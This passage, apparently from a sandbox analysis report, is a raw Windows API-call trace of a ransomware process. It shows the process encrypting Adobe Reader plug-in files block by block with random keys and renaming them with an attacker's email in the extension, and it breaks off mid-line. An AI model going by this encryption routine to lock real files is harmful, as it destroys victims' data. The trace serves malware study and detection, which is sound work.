RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d898) returned 1 [0063.452] FlushFileBuffers (hFile=0xe50) returned 1 [0066.205] CloseHandle (hObject=0xe50) Thread: id = 917 os_tid = 0x1230 [0051.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api")) returned 0x20 [0057.246] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api", dwFileAttributes=0x20) returned 1 [0057.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd54 [0057.246] GetFileSizeEx (in: hFile=0xd54, lpFileSize=0x1768fb38 | out: lpFileSize=0x1768fb38*=1751139) returned 1 [0057.246] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x1ab85f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.246] ReadFile (in: hFile=0xd54, lpBuffer=0x1768fabc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1768fab8, lpOverlapped=0x0 | out: lpBuffer=0x1768fabc*, lpNumberOfBytesRead=0x1768fab8*=0x4, lpOverlapped=0x0) returned 1 [0057.248] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c18 [0057.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460ba0 [0057.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b78 [0057.248] NtQuerySystemTime (in: CurrentTime=0x1768fa98 | out: CurrentTime=0x1768fa98*=132174898212288000) returned 0x0 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x48c56716 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x1ff12268 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x43a8b780 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x32fd6b8a [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x573ba3da [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x58a867af [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x5b886bc3 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x3930d543 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x371a154 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x2a39f7c6 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x67aa60d8 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x409aebe2 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x7a294dd9 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x60684890 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x25a3396 [0057.248] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x29e06d54 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x1f171fe8 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x7e6ee647 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x33a0b6c [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x43859d8c [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x505fc16f [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x58de269b [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x66224900 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x663e48df [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x457ff2eb [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x5ffa488d [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x5a633b57 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x67342b2 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x337fb734 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x2cb14f55 [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0x40ccfe1d [0057.249] RtlRandomEx (in: Seed=0x1768faa4 | out: Seed=0x1768faa4) returned 0xb5c75cf [0057.268] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.268] ReadFile (in: hFile=0xd54, lpBuffer=0x195fc108, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1768fa50, lpOverlapped=0x0 | out: lpBuffer=0x195fc108*, lpNumberOfBytesRead=0x1768fa50*=0xc800, lpOverlapped=0x0) returned 1 [0057.269] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.269] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.269] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c18 [0057.270] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460c18) returned 1 [0057.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19608910 [0057.272] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c18 [0057.272] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460b78 [0057.272] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b78) returned 1 [0057.272] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.272] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.272] WriteFile (in: hFile=0xd54, lpBuffer=0x19608910*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1768fa50, lpOverlapped=0x0 | out: lpBuffer=0x19608910*, lpNumberOfBytesWritten=0x1768fa50*=0xc800, lpOverlapped=0x0) returned 1 [0059.154] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19608910) returned 1 [0059.154] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0xe1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.154] ReadFile (in: hFile=0xd54, lpBuffer=0x195fc108, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1768fa50, lpOverlapped=0x0 | out: lpBuffer=0x195fc108*, lpNumberOfBytesRead=0x1768fa50*=0xc800, lpOverlapped=0x0) returned 1 [0059.156] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0xe1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.156] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.156] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.156] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460378 [0059.156] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460378) returned 1 [0059.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e6d078 [0059.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460378 [0059.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0059.157] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0059.158] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.158] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.158] WriteFile (in: hFile=0xd54, lpBuffer=0x5e6d078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1768fa50, lpOverlapped=0x0 | out: lpBuffer=0x5e6d078*, lpNumberOfBytesWritten=0x1768fa50*=0xc800, lpOverlapped=0x0) returned 1 [0064.437] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e6d078) returned 1 [0064.440] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x19f063, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.440] ReadFile (in: hFile=0xd54, lpBuffer=0x195fc108, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1768fa50, lpOverlapped=0x0 | out: lpBuffer=0x195fc108*, lpNumberOfBytesRead=0x1768fa50*=0xc800, lpOverlapped=0x0) returned 1 [0064.447] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x19f063, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402d50 [0064.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5b20 [0064.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e40 [0064.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e40) returned 1 [0064.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e6d078 [0064.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e40 [0064.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e18 [0064.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e18) returned 1 [0064.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5b20) returned 1 [0064.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0064.449] WriteFile (in: hFile=0xd54, lpBuffer=0x5e6d078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1768fa50, lpOverlapped=0x0 | out: lpBuffer=0x5e6d078*, lpNumberOfBytesWritten=0x1768fa50*=0xc800, lpOverlapped=0x0) returned 1 [0066.650] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e6d078) returned 1 [0066.657] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48dc10 [0066.657] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.657] WriteFile (hFile=0xd54, lpBuffer=0x44e8b8, nNumberOfBytesToWrite=0x147, lpNumberOfBytesWritten=0x1768faf8, lpOverlapped=0x0) Thread: id = 918 os_tid = 0x1234 [0051.972] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api")) returned 0x20 [0057.186] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api", dwFileAttributes=0x20) returned 1 [0057.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x964 [0057.186] GetFileSizeEx (in: hFile=0x964, lpFileSize=0x174df7d4 | out: lpFileSize=0x174df7d4*=99427) returned 1 [0057.186] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x1845f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.227] ReadFile (in: hFile=0x964, lpBuffer=0x174df758, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x174df754, lpOverlapped=0x0 | out: lpBuffer=0x174df758*, lpNumberOfBytesRead=0x174df754*=0x4, lpOverlapped=0x0) returned 1 [0057.228] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460df8 [0057.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460da8 [0057.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c18 [0057.228] NtQuerySystemTime (in: CurrentTime=0x174df734 | out: CurrentTime=0x174df734*=132174898212132000) returned 0x0 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x46b644e3 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x64d0038d [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x621ec02d [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x33f8a949 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x527cf1fd [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x330b2011 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0xd11ef9a [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x6acc5475 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x60498301 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0xf8365be [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x10762b8e [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x7f450ef7 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x139b8459 [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x1366f5da [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x5884189a [0057.228] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x224cc89b [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x406e0d73 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x68c2d865 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0xcf06fa1 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x7832859f [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x5bd03254 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x59e4bd93 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x1b0a568e [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x193eb3c0 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x2a016791 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x6885e9ee [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x68101271 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x7dab8318 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x719621b0 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x524c3033 [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x606fc95e [0057.229] RtlRandomEx (in: Seed=0x174df740 | out: Seed=0x174df740) returned 0x463252e6 [0057.241] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.241] ReadFile (in: hFile=0x964, lpBuffer=0x195e30f8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x174df714, lpOverlapped=0x0 | out: lpBuffer=0x195e30f8*, lpNumberOfBytesRead=0x174df714*=0xc800, lpOverlapped=0x0) returned 1 [0057.242] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460df8 [0057.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460df8) returned 1 [0057.243] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195ef900 [0057.244] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460df8 [0057.244] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c18 [0057.244] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460c18) returned 1 [0057.244] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.245] WriteFile (in: hFile=0x964, lpBuffer=0x195ef900*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x174df714, lpOverlapped=0x0 | out: lpBuffer=0x195ef900*, lpNumberOfBytesWritten=0x174df714*=0xc800, lpOverlapped=0x0) returned 1 [0059.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195ef900) returned 1 [0059.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195e30f8) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x460648 [0059.154] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.154] WriteFile (in: hFile=0x964, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x174df794, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x174df794*=0x101, lpOverlapped=0x0) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603c8) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603a0) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460648) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460df8) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460da8) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460bf0) returned 1 [0062.787] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b50) returned 1 [0062.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40da48 [0062.787] wcscpy (in: _Dest=0x40da48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" [0062.788] wcscat (in: _Dest=0x40da48, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api.mailto[2Hamlampampom@cock.li].cd46d" [0062.788] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x174df74c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.788] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x44eae8 [0063.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44eae8) returned 1 [0063.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a5450) returned 1 [0063.449] NtQueryInformationFile (in: FileHandle=0x964, IoStatusBlock=0x174df758, FileInformation=0x174df730, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x174df758, FileInformation=0x174df730) returned 0x0 [0063.449] NtSetInformationFile (FileHandle=0x964, IoStatusBlock=0x174df758, FileInformation=0x174df730, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40da48) returned 1 [0063.450] FlushFileBuffers (hFile=0x964) returned 1 [0066.205] CloseHandle (hObject=0x964) Thread: id = 919 os_tid = 0x1238 [0051.972] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api")) returned 0x20 [0057.184] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api", dwFileAttributes=0x20) returned 1 [0057.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x914 [0057.184] GetFileSizeEx (in: hFile=0x914, lpFileSize=0x1779fa48 | out: lpFileSize=0x1779fa48*=2312803) returned 1 [0057.185] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x234a5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.185] ReadFile (in: hFile=0x914, lpBuffer=0x1779f9cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1779f9c8, lpOverlapped=0x0 | out: lpBuffer=0x1779f9cc*, lpNumberOfBytesRead=0x1779f9c8*=0x4, lpOverlapped=0x0) returned 1 [0057.201] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.201] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0057.201] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c90 [0057.201] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460f60 [0057.201] NtQuerySystemTime (in: CurrentTime=0x1779f9a8 | out: CurrentTime=0x1779f9a8*=132174898211820000) returned 0x0 [0057.201] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x6fba9c3 [0057.201] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x7eaf33fa [0057.201] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x7a910105 [0057.201] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x19d67c8c [0057.201] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3daa96ad [0057.201] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x782b8801 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x7b45788f [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3336fbee [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x1870edc4 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x55ac648b [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x6cacab8 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3d7fbded [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3375a56d [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x17ae581e [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x20e56272 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x13433bed [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x6d2f8fec [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x2d04a511 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x1c33ceb4 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3f81e6ed [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3887d19d [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3b5bc01a [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3b161cfe [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x1945e9c4 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x29c717ea [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x53637616 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x6390c58d [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x40ad2a34 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x3191a013 [0057.202] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 